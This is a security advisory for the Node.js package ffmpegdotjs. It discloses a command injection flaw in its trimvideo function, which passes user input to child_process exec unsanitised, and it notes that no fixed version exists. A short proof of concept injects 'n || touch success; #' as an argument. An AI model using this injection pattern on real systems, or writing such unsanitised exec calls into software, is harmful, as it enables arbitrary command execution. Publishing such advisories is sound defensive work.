How to fix?

There is no fixed version for ffmpegdotjs.

Overview

ffmpegdotjs is a FFMPEG module for nodejs

Affected versions of this package are vulnerable to Arbitrary Command Injection. If attacker-controlled user input is given to the trimvideo function, it is possible for an attacker to execute arbitrary commands. This is due to use of the child_process exec function without input sanitization.

PoC (provided by reporter):

var ffmpegdotjs = require("ffmpegdotjs");

ffmpegdotjs.trimvideo("package-lock.json",0,30,"n || touch success; #").then((file)=>{
console.log(file);
});

(A file called success will be created as a result of the execution of touch success.)
